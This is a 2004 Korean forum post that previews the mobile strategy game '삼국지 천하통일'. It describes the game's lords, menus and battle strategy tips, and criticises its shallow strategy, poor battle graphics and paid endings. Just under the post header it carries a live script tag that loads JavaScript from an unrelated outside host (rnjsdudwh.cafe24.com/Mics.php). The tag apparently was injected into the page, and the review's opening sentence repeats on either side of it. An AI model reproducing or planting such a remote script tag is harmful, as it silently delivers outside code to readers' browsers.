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[프리뷰]

삼국지-천하통일

글쓴이 : betamo  (211.♡.166.21) 날짜 : 2004-07-27 (화) 14:54 조회 : 14444
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> ‘삼국지 무한대전’과 같은 삼국지 시리즈로 널리 알려진 모바일게임업체 엔텔리젼트가 또다시

‘삼국지 무한대전’과 같은 삼국지 시리즈로 널리 알려진 모바일게임업체 엔텔리젼트가 또다시 실시간 전략시뮬레이션 버전인 ‘삼국지 천하통일(이후, 천하통일)’을 내 놨다.
천하통일은 유저들에게 ‘KOEI 삼국지시리즈를 모바일로 이식시켰다’는 긍정적이면서도 부정적인 모호한 평을 받고 있다. 그러나 모바일 게임에서 전략시뮬레이션의 첫 작품이라는 점은 높이 살만하다.

게임명

삼국지 천하통일 - 천하삼분지계

개발사

엔텔리젼트

장르

전략시뮬레이션

플랫폼

SKVM

용량

212kb

다운로드

게임Zone > 전략/육성/RPG > SRPG(전략 RPG) > 삼국지천하통일

왼쪽부터 유비 조조 손권 원소 마등 초선

넓어진 선택의 폭(와이드 하다!)
게임을 시작하면 가슴 떨리는 장엄한 음악과 함께 조조·유비·손권 등 무려 6명이나 되는 다양한 캐릭터가 등장한다. 2~3명의 캐릭터에 불과한 기존 게임에 비해 확실히 눈길이 간다. 이는 유저들로 하여금 보다 넓은 선택의 기회를 부여 한 것이다. 그뿐만 아니라 굵직한 녀석부터 자잘한 녀석까지 삼국지에 등장하는 180여명의 장수들이 등장(이름만 등장...ㅡ.,ㅡ)한다.
아울러 38종으로 설게 된 전투 맵과 계절 변화에 따른 배경 음악... 이는 단조로운 반복 음을 확실히 넓혔다. 역시 와~이드(wide)하다.
그러나 무엇보다 천하통일의 두드러진 점이라면 기존 턴 방식이 아닌 실시간 전투를 지원한다는 것이다. 실시간 게임을 선호하는 유저들에겐 매우 반가운 일이다.
또 하나의 tip이 있다면... Koei 삼국지에선 없던 ‘초선’이 군주로 등장한다는 것이다. 더욱이 그녀를 취하기(?) 위해선 통일을 반드시 이뤄야만 한다. 미녀를 얻기란 원래 어려운 법이니까.... 쩝!

군주선택장면

게임하기
게임을 시작하면 초선을 제외한 5명의 장수 중 한 명을 선택하여 플레이 할 수 있다.
선택한 장수에 따라 얼굴 없는 신하가 나와서 이렇게 떠들어 댄다.
“신 (아무개). 주군께서 도시를 다스리는 데 필요한 부분을 상세하게 알려 드리겠습니다.”
그리곤 게임에 필요한 키 조작법과 성 관리에 따르는 유의 사항들을 얘기해 준다.

0.휴식

1.내정

2.군사

3.인사

4.정보

5.속령

턴 종료?

1.예

2.아니오

1.순찰

2.상업

3.개간

1.출진

2.훈련

3.징병

4.이동

1.탐색

2.포상

1.자국

2.타국

1.선택

2.위임

3.요청

천하통일의 메뉴구성

그럼 이제 본격적으로 천하통일의 대업인 땅따먹기에 들어가 보자.천하통일이 전략 시뮬레이션 게임이라는 이름을 내건 만큼, 무엇보다 중요한 것은 메뉴를 어떻게 적절히 활용해 영토를 확장해 나갈 것이냐?라는 점이다. (자세한 사항은 그대의 얼굴 보기 힘든 신하의 말에 귀를 기울이면 된다)


전략 TIP

예전이나 지금이나 전쟁의 승패는 역시 ‘힘’이다. 특히, 무대뽀로 쌈박질하던 시절에는 얼마나 많은 아그들을 보유했냐가 관건이었다. 마찬가지로 천하통일을 위해 무력이 높은 장수들이 수~ 많은 병사들을 이끌고 쳐들어가면 대부분 승리한다.
But!
어디 전략시뮬레이션 게임을 즐기는 유저가 뒷골목 깍두기 오빠들이나 할 법한 단순 무식한 플레이를할 수 있단 말인가? 우리는 머리수가 아닌 머리 속으로 싸움하는 플레이어들이다.

Tip 하나. 적절한 위임
천하통일을 이루기 위해서는 하나하나 성들을 보유하기 마련이다. 그러나 게임이 어느 정도 중반에 이르면 자신이 보유한 성 관리가 어려워지기 마련이다. 이럴 때 ‘위임’이 빛을 바라게 된다.
인공지능에게 자신의 영토를 위임함으로써 보다 효과적으로 내정을 돌볼 수 있게 된다. 이때 중요한 것은.. 아무 곳이나 위임을 하는 것이 아니라 적과 되도록 멀리 떨어진 곳을 위임시킨다는 점이다. 반대로 전쟁의 불씨가 있는 곳은 자신이 직접 관리하는 것이 효과적이다. 아울러 위임한 곳은 최소의 병력만을 남기고 접전 예상지로 이동시키는 것도 잊지 말아야 한다.

Tip 둘. 지형지물을 이용한 적절한 치고 빠지기
‘신의 아들’들과 ‘양심의 자유’를 부르짖는 남성이 아니라면 한 번쯤 거쳐야 하는 군 생활.. 얼굴에 먹칠을 하고 총 들고 산자락을 미친 듯 뛰어 오르던 시절.. 가끔은 은폐엄폐 한답시고 어딘가에 짱 박히기도 했는데... 바로 이 짱박히는 기술이 승리로 이끄는 전략이 된다.

천하통일에 등장하는 지형물들은 ‘강’과 ‘캠프’ 그리고 ‘숲’이 있다.
상식적으로 생각해 보자!
평지를 뛰는게 어려운가? 물속을 뛰는게 어려운가? 당근 물속이다.
적들이 수중양륙 말을 타고있지 않은 이상 물을 건널 때 속도가 늦어지거나 병사의 수가 분산될 수밖에 없다. 또한 다리를 이용해 건널 때도 마찬가지다
캠프와 숲을 이용하는 것도 유사한 전략이라 하겠다.

적들은 자신들이 수적으로 우월할 때를 빼고는 먼저 공격해 오지 않는다. 따라서 아군들을 숲이나 캠프 뒤쪽에 포진시킨다. 그리고 적당한 장수와 병사를 이끌고 공격을 감행하는 척 적의 이동을 유도한다. 그러나 너무 깊숙이 공격해 들어가면 패할 수 있다. 따라서 대기명령을 적절히 활용해야 한다.
적들이 공격해 오면 짱박혀 있다가 적군이 분산된 틈을 타 수적으로 열세한 놈부터 조지는것이 효과적이다. 물론 맞짱뜨는게 멋있어 보일지 모르겠으나 이는 결코 전략가의 모습은 아니다. 캠프를 활용할 경우, 두 개의 캠프 사이로 들어오면서 느려진 적을 합동공격 할 경우 최소의 것으로 최대의 것을 얻을 수 있다.
이처럼 지형지물을 이용한 적절한 치고 빠지기는 천하통일의 대업을 앞당기는데 큰 보탬이 될 것이다.

Tip 셋. 메시지 정보 활용
다시 한 번 상식적인 생각을 해 보자!
힘 좋은 K-1의 선수들도 라운드가 길어짐에 따라 점점 체력이 고갈되어 간다. 마찬가지로 많은 병력과 지력이 높은 장수라 해도 방금 쌈박질을 했다면... 당연히 전투력이 낮아진다. 이러한 부분들은 메시지를 통해 쉽게 알 수 있다.
이놈이 저놈이라 싸워서 저놈이 이겼다는 둥, 저놈과 요놈이 붙었는데 요놈이 먹혔다는 둥... 만일 방금 전쟁을 벌였던 성이 자신의 진지 근처라면... 이런 좋은 기회를 놓칠 수 있겠는가? 물론 출진하기 전 타국의 정보를 살피는 것을 잊어서는 안 된다.

Tip 넷. 장수의 지력을 높여라!
어떤 면에서 네 번째의 팁은 전략이라고 할 수 없을지 모른다.
하지만 승패를 뒤집을 수 있는 화공, 낙뢰 등의 특수능력은 지력(능력치)이 높은 장수만이 가능하다.



최근들어 온라인 게임이나 PC게임이 모바일 게임으로 등장하고 있다. 이는 신규게임보다 인지도가 높고 그에 따르는 수익성이 많기 때문이다. 게임을 즐기는 유저들에게도 반가운 소식이 아닐 수 없다. 그러나 인지도에 의존한 상술에 불과하다면... 상황은 달라진다.

부실한 전략적 요소
KOEI 삼국지시리즈에 익숙한 유저들에게 모바일게임 천하통일은 전략적인 요소 면에서 택도 없이 부족하다. 동맹도 없고 첩보나 사교, 혼인 등..전략적인 요소들과 결부된 것들의 부재가 크게 느껴진다. Junn 삼국지에서 나왔던 ‘외교’조차 없다. 그러나 무엇보다 상인이 없다는 점이 큰 타격이다. 이 때문에 금과 군량이 갖는 전략적 요소로서의 가치가 작아진다.
딸랑 ‘탐색’과 ‘포상’ 밖에 없는 등용의 문제도 한 없이 아쉽다. 이것만으론 인위적으로 타국 장수를 결코 얻지 못 한다 .


최악의 전투
전략시뮬레이션 게임이라 그런가? 그렇다고 뛰어난 전략적 요소도 없으면서 중대차한 전투에서는 경악을 금치 못 한다.
먼저, 전쟁을 치루면서 내릴 수 있는 명령은 역시 딸랑 공격, 후퇴, 대기 밖에 없다. 거기다 누가 장수인지 군병인지 알 길 없이 깃발만 펄럭인다. 또한 도대체 이놈들이 칼질을 하고 있는지 창질을 하고 있는지.. 그도저도 아니면 짱돌로 치고박고 싸우는지....
분명, 야바위는 아닐 텐데 멍~하게 줄어드는 숫자만 바라보고 있어야 한다.
야바위표 그래픽은 흔한 고함소리나 타격소리 조차 없이 밋밋한 효과음(배경음악)과 어울려 나락으로 치닫는다. 또한 선봉, 중군, 좌군, 우군이 적들과 뒤 섞여 싸울라치면 잘 튀지 않는 색으로 표시된 덕(?)분에 누가 누군지 쉽게 눈에 들어오지 않는다.

독특성 없는 장수와 맵
독특성이 없는 장수와 더불어 초반에 신비로 싸인 ‘초선’ 역시 새로운 장수를 가지고 있다는 것 외에 별다를 것이 없다. 그녀는 단지 취하고 싶다는 수컷들의 본능을 자극할 뿐이다. 기발한 아이템을 너저분하게 만든 꼴이다. 독특성이 없기는 성을 가리키는 맵 역시 마찬가지다.

볼 수 없는 엔딩
시작은 있되 끝은 없다니... 천하통일의 대업을 이루고도 엔딩은 볼 수 없다. 물론 별도의 요금을 지불한다면 가능하겠지만... 하지만 군주마다 엔딩을 볼라치면 적잖은 요금을 지불해야 한다.


지나친 혹평이었을까? 물론 지루한 감을 없애주는 계절별 사운드, 넓어진 선택, 전투씬을 제외한 비교적 깔끔한 그래픽 등... 최초의 모바일 실시간 전략시뮬레이션 게임이란 점을 감안 한다면 훌륭하다.
다만 이러한 아쉬움이 어디에서 기인됐냐?는 거다. 바로 개발자들이 의존했던 “인지도”에서 비롯된 것이 아닌가?! 또한 유저들은 단순한 구매자가 아니며 익숙한 만큼 기대치도 크다는 것을 명심해 주기를 바랄 뿐이다. 세계적인 짝퉁 코리아가 아니라 참신한 컨텐츠 개발로 빛을 발하는 게임사들이 많아지기를 바래본다.

그래픽

사운드

속도감

조작감

중독성

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